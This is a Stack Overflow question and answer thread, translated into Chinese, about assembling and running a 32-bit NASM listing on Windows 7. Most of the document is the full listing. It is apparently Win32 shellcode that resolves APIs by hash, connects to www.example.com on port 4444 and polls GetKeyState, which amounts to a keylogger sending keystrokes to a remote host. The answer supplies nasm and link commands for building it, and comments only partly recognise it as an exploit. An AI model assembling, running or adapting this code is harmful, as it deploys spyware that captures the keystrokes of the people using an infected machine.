【问题标题】:How can I compile / execute the following code on Windows 7 32 Bit?如何在 Windows 7 32 位上编译/执行以下代码?
【发布时间】:2016-11-16 19:52:09
【问题描述】:

您能告诉我如何在 Windows 7 32 位机器上执行此代码吗?
我需要编译它吗?如果是,我应该怎么做?
文件应该有哪个结尾(.exe)?

section .bss

section .data

section .text
   global _start
      _start:
    cld
    call dword loc_88h
    pushad
    mov ebp,esp 
    xor eax,eax
    mov edx,[fs:eax+0x30]
    mov edx,[edx+0xc]
    mov edx,[edx+0x14]
    loc_15h:
    mov esi,[edx+0x28]
    movzx ecx,word [edx+0x26]
    xor edi,edi
loc_1eh:
    lodsb
    cmp al,0x61
    jl loc_25h
    sub al,0x20
loc_25h:
    ror edi,byte 0xd
    add edi,eax
    loop loc_1eh
    push edx
    push edi
    mov edx,[edx+0x10]
    mov ecx,[edx+0x3c]
    mov ecx,[ecx+edx+0x78]
    jecxz loc_82h
    add ecx,edx
    push ecx
    mov ebx,[ecx+0x20]
    add ebx,edx
    mov ecx,[ecx+0x18]
loc_45h:
    jecxz loc_81h
    dec ecx
    mov esi,[ebx+ecx*4]
    add esi,edx
    xor edi,edi
loc_4fh:
    lodsb
    ror edi,byte 0xd
    add edi,eax
    cmp al,ah
    jnz loc_4fh
    add edi,[ebp-0x8]
    cmp edi,[ebp+0x24]
    jnz loc_45h
    pop eax 
    mov ebx,[eax+0x24]
    add ebx,edx
    mov cx,[ebx+ecx*2]
    mov ebx,[eax+0x1c]
    add ebx,edx
    mov eax,[ebx+ecx*4]
    add eax,edx
    mov [esp+0x24],eax
    pop ebx
    pop ebx
    popad
    pop ecx
    pop edx
    push ecx
    jmp eax
loc_81h:
    pop edi
loc_82h:
    pop edi
    pop edx
    mov edx,[edx]
    jmp short loc_15h
loc_88h:
    pop ebp
    push dword 0x3233 
    push dword 0x5f327377
    push esp
    push dword 0x726774c
    call ebp
    mov eax,0x190
    sub esp,eax
    push esp
    push eax
    push dword 0x6b8029
    call ebp
    push byte +0x10
    jmp dword loc_1ceh
loc_b2h:
    push dword 0x803428a9
    call ebp
    lea esi,[eax+0x1c]
    xchg esi,esp
    pop eax
    xchg esp,esi
    mov esi,eax
    push dword 0x6c6c
    push dword 0x642e7472
    push dword 0x6376736d
    push esp
    push dword 0x726774c
    call ebp
    jmp dword loc_1e3h
loc_dfh:
    push dword 0xd1ecd1f
    call ebp
    xchg ah,al
    ror eax,byte 0x10
    inc eax
    inc eax
    push esi
    push eax
    mov esi,esp
    xor eax,eax
    push eax
    push eax
    push eax
    push eax
    inc eax
    inc eax
    push eax
    push eax
    push dword 0xe0df0fea
    call ebp
    mov edi,eax
loc_104h:
    push byte +0x10
    push esi
    push edi
    push dword 0x6174a599
    call ebp
    test eax,eax
    jz loc_122h
    dec dword [esi+0x8]
    jnz loc_104h
    xor eax,eax
    push eax
    push dword 0x56a2b5f0
    call ebp
loc_122h:
    push dword 0x3233
    push dword 0x72657375
    push esp
    push dword 0x726774c
    call ebp
    push dword 0x657461
    push dword 0x74537965
    push dword 0x4b746547
    push esp
    push eax
    push dword 0x7802f749
    call ebp
    push esi
    push edi
    push eax
    xor ecx,ecx
    mov esi,ecx
    mov cl,0x8
loc_155h:
    push esi
    loop loc_155h
loc_158h:
    xor ecx,ecx
    xor esi,esi
    push byte +0x8
    push dword 0xe035f044
    call ebp
loc_165h:
    mov eax,esi
    cmp al,0xff
    jnc loc_158h
    inc esi
    push esi
    call dword [esp+0x24]
    mov edx,esi
    xor ecx,ecx
    mov cl,0x80
    and eax,ecx
    xor ecx,ecx
    cmp eax,ecx
    jnz loc_18fh
    xor edx,edx
    mov ecx,edx
    mov eax,esi
    mov cl,0x20
    div ecx
    btr [esp+eax*4],edx
    jmp short loc_165h
loc_18fh:
    xor edx,edx
    mov ecx,edx
    mov eax,esi
    mov cl,0x20
    div ecx
    bt [esp+eax*4],edx
    jc loc_165h
    xor edx,edx
    mov ecx,edx
    mov eax,esi
    mov cl,0x20
    div ecx
    bts [esp+eax*4],edx
    push esi
    push byte +0x10
    push dword [esp+0x30]
    push byte +0x0
    push byte +0x1
    lea ecx,[esp+0x10]
    push ecx
    push dword [esp+0x3c]
    push dword 0xdf5c9d75
    call ebp
    lea esp,[esp+0x4]
    jmp short loc_158h
loc_1ceh:
    call dword loc_b2h
    db "www.example.com",0
loc_1e3h:
    call dword loc_dfh
    db "4444",0

【问题讨论】:

    标签: windows compilation execute machine-code


    【解决方案1】:

    这看起来像 32 位 NASM 汇编代码 (A simple beginners introduction)。您可以使用来自 NASM 网站的this installer组装它(而不是编译它)(本回答时版本为 2.12.02)。

    在 Windows 7 上组装和链接它的工作方式如下:

    如果您有 Microsoft C 编译器,那么您(某处)有来自 Microsoft 的名为 link.exe 的链接器。如果没有,可以下载Windows 7 SDK,它提供了C编译器和链接器(link.exe)。

    nasm -f win32 yourProg.asm
    link /entry:_start /subsystem:console yourProg.obj <locationOfYour>\kernel32.lib
    

    但是快速浏览一下代码就会发现其中有没有个明显命名的 API 调用,因此很难确定目标平台(Windows、Linux、MacOS 等)。所以这段代码可以汇编,但它的执行可能(!)是无用的(除非在调试器中运行)。

    【讨论】:

    • 其中有 API 调用,但它们使用的是地址而不是符号名称。原始代码很可能是在加载程序执行修复后通过反汇编内存中的图像获得的。是的,平台很难确定。
    • @BenVoigt:是的,其中可能有 API 调用。否则它可能是未知的操作系统。如果是 Linux,我猜里面会有一些int 0x80。它似乎也不是 Windows。这些call ebps 对我来说似乎很奇怪,但这超出了这个问题的范围。
    • call ebp 似乎表明它可能是缓冲区溢出漏洞
    • 这绝对是一个Win32程序。在_start 之后不久的代码正在访问LDR_DATA_TABLE_ENTRY(通过TIBPEB)。它似乎是在ws2_32(这是被push dword 0x3233push dword 0x5f327377 指令推入堆栈的字符串)、msvcrt.dll 等中查找API。我还没有进一步研究它。跨度>
    • @MichaelBurr:非常感谢您对这段代码的经验丰富的看法。但请注意,我没有进一步剖析这段代码的细节,因为恕我直言,这超出了这个问题的范围。
    猜你喜欢
    • 2018-06-21
    • 2018-02-26
    • 2014-01-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-10-13
    相关资源
    最近更新 更多